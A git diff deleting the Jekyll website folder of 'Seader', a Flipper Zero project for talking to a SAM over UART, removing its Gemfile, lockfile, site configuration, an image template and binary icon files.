diff --git a/seader/web/Gemfile b/seader/web/Gemfile deleted file mode 100644 index 7ed0d8805bb..00000000000 --- a/seader/web/Gemfile +++ /dev/null @@ -1,37 +0,0 @@ -source "https://rubygems.org" -# Hello! This is where you manage which Jekyll version is used to run. -# When you want to use a different version, change it below, save the -# file and run `bundle install`. Run Jekyll with `bundle exec`, like so: -# -# bundle exec jekyll serve -# -# This will help ensure the proper Jekyll version is running. -# Happy Jekylling! -gem "jekyll", "~> 4.3.2" -# This is the default theme for new Jekyll sites. You may change this to anything you like. -gem "minima", "~> 2.5" -# If you want to use GitHub Pages, remove the "gem "jekyll"" above and -# uncomment the line below. To upgrade, run `bundle update github-pages`. -# gem "github-pages", group: :jekyll_plugins -# If you have any plugins, put them here! -group :jekyll_plugins do - gem "jekyll-feed", "~> 0.12" -end - -# Windows and JRuby does not include zoneinfo files, so bundle the tzinfo-data gem -# and associated library. -platforms :mingw, :x64_mingw, :mswin, :jruby do - gem "tzinfo", ">= 1", "< 3" - gem "tzinfo-data" -end - -# Performance-booster for watching directories on Windows -gem "wdm", "~> 0.1.1", :platforms => [:mingw, :x64_mingw, :mswin] - -# Lock `http_parser.rb` gem to `v0.6.x` on JRuby builds since newer versions of the gem -# do not have a Java counterpart. -gem "http_parser.rb", "~> 0.6.0", :platforms => [:jruby] - -gem "jekyll-responsive-image" - -gem 'jekyll-clicky' diff --git a/seader/web/Gemfile.lock b/seader/web/Gemfile.lock deleted file mode 100644 index e709de99654..00000000000 --- a/seader/web/Gemfile.lock +++ /dev/null @@ -1,91 +0,0 @@ -GEM - remote: https://rubygems.org/ - specs: - addressable (2.8.1) - public_suffix (>= 2.0.2, < 6.0) - colorator (1.1.0) - concurrent-ruby (1.2.2) - em-websocket (0.5.3) - eventmachine (>= 0.12.9) - http_parser.rb (~> 0) - eventmachine (1.2.7) - ffi (1.15.5) - forwardable-extended (2.6.0) - google-protobuf (3.22.0-arm64-darwin) - http_parser.rb (0.8.0) - i18n (1.12.0) - concurrent-ruby (~> 1.0) - jekyll (4.3.2) - addressable (~> 2.4) - colorator (~> 1.0) - em-websocket (~> 0.5) - i18n (~> 1.0) - jekyll-sass-converter (>= 2.0, < 4.0) - jekyll-watch (~> 2.0) - kramdown (~> 2.3, >= 2.3.1) - kramdown-parser-gfm (~> 1.0) - liquid (~> 4.0) - mercenary (>= 0.3.6, < 0.5) - pathutil (~> 0.9) - rouge (>= 3.0, < 5.0) - safe_yaml (~> 1.0) - terminal-table (>= 1.8, < 4.0) - webrick (~> 1.7) - jekyll-clicky (0.1.5) - jekyll-feed (0.17.0) - jekyll (>= 3.7, < 5.0) - jekyll-responsive-image (1.6.0) - jekyll (>= 2.0, < 5.0) - rmagick (>= 2.0, < 5.0) - jekyll-sass-converter (3.0.0) - sass-embedded (~> 1.54) - jekyll-seo-tag (2.8.0) - jekyll (>= 3.8, < 5.0) - jekyll-watch (2.2.1) - listen (~> 3.0) - kramdown (2.4.0) - rexml - kramdown-parser-gfm (1.1.0) - kramdown (~> 2.0) - liquid (4.0.4) - listen (3.8.0) - rb-fsevent (~> 0.10, >= 0.10.3) - rb-inotify (~> 0.9, >= 0.9.10) - mercenary (0.4.0) - minima (2.5.1) - jekyll (>= 3.5, < 5.0) - jekyll-feed (~> 0.9) - jekyll-seo-tag (~> 2.1) - pathutil (0.16.2) - forwardable-extended (~> 2.6) - public_suffix (5.0.1) - rb-fsevent (0.11.2) - rb-inotify (0.10.1) - ffi (~> 1.0) - rexml (3.2.5) - rmagick (4.3.0) - rouge (4.1.0) - safe_yaml (1.0.5) - sass-embedded (1.58.3-arm64-darwin) - google-protobuf (~> 3.21) - terminal-table (3.0.2) - unicode-display_width (>= 1.1.1, < 3) - unicode-display_width (2.4.2) - webrick (1.8.1) - -PLATFORMS - arm64-darwin-21 - -DEPENDENCIES - http_parser.rb (~> 0.6.0) - jekyll (~> 4.3.2) - jekyll-clicky - jekyll-feed (~> 0.12) - jekyll-responsive-image - minima (~> 2.5) - tzinfo (>= 1, < 3) - tzinfo-data - wdm (~> 0.1.1) - -BUNDLED WITH - 2.4.7 diff --git a/seader/web/_config.yml b/seader/web/_config.yml deleted file mode 100644 index b9889f7887e..00000000000 --- a/seader/web/_config.yml +++ /dev/null @@ -1,70 +0,0 @@ -# Welcome to Jekyll! -# -# This config file is meant for settings that affect your whole blog, values -# which you are expected to set up once and rarely edit after that. If you find -# yourself editing this file very often, consider using Jekyll's data files -# feature for the data you need to update frequently. -# -# For technical reasons, this file is *NOT* reloaded automatically when you use -# 'bundle exec jekyll serve'. If you change this file, please restart the server process. -# -# If you need help with YAML syntax, here are some quick references for you: -# https://learn-the-web.algonquindesign.ca/topics/markdown-yaml-cheat-sheet/#yaml -# https://learnxinyminutes.com/docs/yaml/ -# -# Site settings -# These are used to personalize your new site. If you look in the HTML files, -# you will see them accessed via {{ site.title }}, {{ site.email }}, and so on. -# You can create any custom variable you would like, and they will be accessible -# in the templates via {{ site.myvariable }}. - -title: Seader -email: bettse@fastmail.fm -description: >- # this means to ignore newlines until "baseurl:" - Interface with a SAM from the Flipper Zero over UART -baseurl: "" # the subpath of your site, e.g. /blog -url: "https://seader.ericbetts.dev" # the base hostname & protocol for your site, e.g. http://example.com -github_username: bettse -gitlab_username: bettse -linkedin_username: eric-betts -mastodon: - - username: bettse - instance: defcon.social - -responsive_image: - template: _includes/responsive-image.html - sizes: - - width: 320 - - width: 480 - - width: 800 - -# Build settings -theme: minima -plugins: - - jekyll-feed - - jekyll-responsive-image - - jekyll-clicky - -jekyll_clicky: #Add this if you want to track with Clicky analytics - site: - id: 101415968 - -# Exclude from processing. -# The following items will not be processed, by default. -# Any item listed under the `exclude:` key here will be automatically added to -# the internal "default list". -# -# Excluded items can be processed by explicitly listing the directories or -# their entries' file path in the `include:` list. -# -# exclude: -# - .sass-cache/ -# - .jekyll-cache/ -# - gemfiles/ -# - Gemfile -# - Gemfile.lock -# - node_modules/ -# - vendor/bundle/ -# - vendor/cache/ -# - vendor/gems/ -# - vendor/ruby/ diff --git a/seader/web/_includes/responsive-image.html b/seader/web/_includes/responsive-image.html deleted file mode 100644 index f7200b5b23b..00000000000 --- a/seader/web/_includes/responsive-image.html +++ /dev/null @@ -1,16 +0,0 @@ -{% comment %} -Render your responsive images using , with the original asset used as a fallback. Note: If your original assets are not web-friendly (e.g. they are very large), you can use a resized image as the fallback instead. See the srcset-resized-fallback.html template for how to do this. - -Usage: - - {% responsive_image path: assets/image.jpg alt: "A description of the image" %} - -(P.S. You can safely delete this comment block) -{% endcomment %} - - - {% for i in resized %} - - {% endfor %} - - diff --git a/seader/web/apple-touch-icon-120x120-precomposed.png b/seader/web/apple-touch-icon-120x120-precomposed.png deleted file mode 100644 index d2df9e32e46a323694529b1087ab1118b8a6a30a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2544 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 diff --git a/seader/web/apple-touch-icon-120x120.png b/seader/web/apple-touch-icon-120x120.png deleted file mode 100644 index 9697b604af994d9b66bbd34eee81c3115ac8379f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2544 zcmZ{mcQo4z8^?bHRW)i;BQ2$Bv@uGqS;R<*5?gJe)NC7<&`VSY9b(i9H)`*qsx~RA zK}btdYVTE}cFkPxdC$4$ynnoZJm2qmp67hd_up@z!n0E9^c0QLz09Gsr8ivSP|0f1#!08mc@0KuTl1`Ey82cx@*5e%R| z$B|o4w=-xs!r;sTNE~$G%9TV}E&yPq!eP2r-s7td;Xzh3VR~PST85`uyk3qgulp;R zxa0!e^0{m%tIY;OzdF)$89Qu~y=;DmG7DG!1>bw;o>Nk1uc+g`MN9}r zdtLXL(U&u}^-~USeO0{XZACR$2j!DPjBXyksQoTiKuc$_(bm@MPD;Ui(mq7?N7QM* zc_^~gcT1_f&jlVs%4juwgBV2(SM@UDwC5$xThn!69SJl~(ymB!{m1)z5pX9o@!t@hRBx)eMfw9O-YW| z7p%-g(~*BM(INOweL z9ZhSF5^*XrzPC$xjs#Ze&C&H~%h&KJj;&&n3gVnk^{T35yR+d;p>3S^6L}b)4`O2a z<+OESu;Q61jdjO^u=OjA-zdn8q;8n?2{N7nhg}Nds~3=^9$x(jGss{ z2s0pd3sg8r$_38EkThoC?HjW~sZ4a4R5Z4|&7l+Yf-Q;z z`7alfiB$_DaLh8Vcy7s7fVApTWD)%lR%7Cl=|s*7MV!$W@s;X#(pB=Ka8yu}=hqG?ZjIbAxg--Eo6SLJ?619I55e_bW0!QS z5m<`AHdijnolH=$Ufw&g2XjbDOq1^6wR{iC7$d_JKJ93V>&>=n$ocdGcQ!T!4?SUX zH{4OIO~TbI@;bK%`%z*sQ@JMH1IInip*`BnilJip75Sj=*c(1w&Gsp0BDFqqhPBB$ zFU8zjDqTbbFhiRNl`3Q?U-*o(ju5L{-BR%+i7VC;DzJBlVJ!`=qOqoP()Z@o#?;vP zl6)J&@2E_z%J=E`^=AFBdn+h`)Y-vNFvE`m=VO7$xr0AAp^L4r+xN zMHFq(;c9Rb{^}gYO=hfjAWhVL?jaqLcU^MwIw9Z3XAONERu<#^tK#xn;mQFyzG~-+ z#KC2bjEdR~F1e&;Qfs!#hNE3$or(`HMY$^b&{UjB7yy@FsvCdp#$FMN>;35MySJC5 ze>CXogc;@d@rq(GZYI_^iTXoi(oQV@^JZ>L(~N@#FeKf(Hk;d%L zh)@#b@@w#wt9f7+;WO=KfC1M~vgHJ0 z(Bjen!>+c~MQZYEXsX#)OetsupL)eAg@!HN*RJ|@Q z)z+2>)rAnjyU112HurDmsi$IK$nVNMDh2=%`OfBLZD!SDb73Wj+HOo zmE_cDLDli{-O;QDay5r1qVBi@iB@NXT+Q1L>e><524 z`0$N1s9opGQ0AoZCZ9iXy8p|C%57>vN3NzTJetP6w_|^=F!3C@bJ9M3a_*P-l!Ig{ zkvW4m#9RwOw{)F{XHr7t#b3lm?PH&Dof+V{DYNQjd~`Qis4gUX-qc#0N{!F@QR1&6 ztJ%m6l5@(rAjHmAlh`V{5`obL+NR=p}@HU#n8=peEiUb-OU;Og%&qzJ zYCX}9eC^gasb|&eJMk7}X)xrCE z*l_xFy%4lcFNrTyD6^OruYl{KG#B~jvD#v#Rp*z^_EkZHB~>xUyr6GI<}aBij}EQq zPee!BTP-=5OD(I{?K*KFB59&MKcq0xZIJWZ$xug^bM2eN)aE`!B8>hyNeZ5*F0GGn zDH#u#>LSEKZ6-iJ82pBPFExq*nE-jpYLJ&icM+uvT3^G8K6dljIjuZWXahU6ryClj z?(qP1YJd_%Nm&7+te|wm3ZkTbLs1<9k%K@^wNw1T@&5q+fu25InEwyd>UZm&0y6(5 spnd#N57BP^LH{z!5G#nXx{|88@*n>VIZyFEt!w}QH!y>}({p|N54Fw6m;e9( diff --git a/seader/web/apple-touch-icon-152x152-precomposed.png b/seader/web/apple-touch-icon-152x152-precomposed.png deleted file mode 100644 index 67f11b527eae16053dc3e226aefe28ddc7d4a703..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1294 zcmeAS@N?(olHy`uVBq!ia0vp^GeDRFNHEy0tp5w76p}rHd>I(3)EF2VS{N990fib~ zFff!FFfhDIU|_HUY7j4&vn$XBD8ZEE?e4CBViIFm?W; zW&gs}Hq>+%`JB47K6X;{wCwF{AD&2gZRRzJ6XFt^9c$RA$Dm;rJz?h(ldqiC>N>Wu zX2+Mzjpbf;X8OkBL(4p;`-bk@x2IcL!ei!jL(RlpC0}Ei8y`-IW$hN3?Q6JEFDrI? zvWAM^>~&^thi@9kpSmL%{q*~y88$#;s-qNA<&H05SzInIlv?@B|K`;dMZrcBjIXae zayQpjvs-{#!&8!vm*C-5$)y+8#IRYs@HG7g*#sw}Znzb>D*JvZ@Sa>mZqma@b9*l(4}tnNQJ-$=yE zb3vof9?#9|>yQ8ZcwW2K-Me^e=3DPu4zke^zvbG5syJ6(c6~Nu%f9T``_<2n%k|$} zEy}R2^1fDm!0TPUAA^3(-Spw`IqBP9m*CjJNM%H zqTQ3`nmYMOC$5V>`8c#x<=onJ+5e*EPBA@n$6fK$?x>0;J*TzjVhyzsNE$@JNzqOGHL9{#K8=5#1U&jWue<;k?z4zpHeKn!Smf6tB6xd*R**Lf^e+eXPy7^Tz5O>w^yQ z>6ykK*?ez(TzvY6q)n;XJ(+6H`~Az`87KKqoV8K1`{s4^Ed2!=4<(iLb=}I%+7_+~ zapRe=8}+`G7k_G-g=GQ@1l1DPh?11Vl2ohYqEsNoU}RuqtZQJbYitl=U~FY%VP#^Z zZD3$!V4%=5XFH09-29Zxv`VN3BV8l25CbDCQ&THr3y6llkHkfR8Z_WGlw{_n7MCRE d7NA>VX=P#x(WA34AO)z0!PC{xWt~$(695=1Kym;8 diff --git a/seader/web/apple-touch-icon-152x152.png b/seader/web/apple-touch-icon-152x152.png deleted file mode 100644 index ad042d49bd50d7c4a28e9399ce3b9fd5c2a3c3df..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1294 zcmeAS@N?(olHy`uVBq!ia0vp^GeDRFNHEy0tp5w76p}rHd>I(3)EF2VS{N990fib~ zFff!FFfhDIU|_HUY7j4&vn$XBD8ZEE?e4-V26Qv#;I)@O^s&R zfuU*FSUq!YPJ6QP$(DE3pBKJaZSwQ)@9oN&xr{#o&&P}Xc3-OEq@ppk>dx)2^FlWq zz7+3eV&s$P@V;b?7K4G*fjdnZeLPDwd-fmR`dxqZpSYCe=iATTpMHIjmjD|>z|{GV zmi-G?+fdV8PKZlvcC2Be9)pHi^n{&DOulkjtLxat znjK#n z$r>ttv)7rq9lmKCf9j58^waN)X4n9Ysg6=el{>zKWpTN z$knR3vj6t7)fuQQs9J4sde!$;MaPb+zL~M%?a@!6-rDx9AC{ge)e7`7iJHy*nrZP? z$Cr{`e`AiZy@;Rs&Ek#qhdZZ#^>x~a-`70zxwba(-sU<*oBQ9hjm$z11vq55+|PUM z6?uK*N+GjleVcR7Z@lbLpTNhgA>gDNkR+LRagOYB{bl(JG(O$#<&#^=Vte6H-iB78 zd-mH}O*y%H^#T<}sO;*iTzrC)1IoGyEOC3x+|02u4z#~bbEfE>bkWXIt=(peAIrqfA z$=o;p(!=oaXM(-=)C-m$L>Ny^Ib`tozjsoiPEYGuUa@0`B5vGCfO5>lPIb@E^AW78 z(4LvX_uQAT-m=VA^+N5rgd-Pb1>Ehdxm91o`(b1Kq7~)EvN!uT z{VVmj`CC2eMs#cBG}fpYhx1lH{;tv`YW5~_QoQE&?uC0N2z~dO^|3bR&Ks+DtPeWG zr)L^}Wb?iCaq;ONk~XDk_hhO)@Aof%XPo3ean?r3?wi-uv-B5iJd{+{*L5p5Yg@P~ z#EoadZq)l$Ui_(T7M2Mt5L8QCBT7;dOH!?pi&B9UgOP!ev95u!uCYOgfw7g5g_Vhs zwt<0_fq_ELob4zYa`RI%(<-4FjC766LJW+oOiitfEg%~HJ`xuNYS4h&P?DLOT3nKt dTYzqfrIoQ6M2~on^8=tB22WQ%mvv4FO#q=zLLUGC diff --git a/seader/web/apple-touch-icon-precomposed.png b/seader/web/apple-touch-icon-precomposed.png deleted file mode 100644 index 0cd9e58743634164093b881963b9183487864979..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2149 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 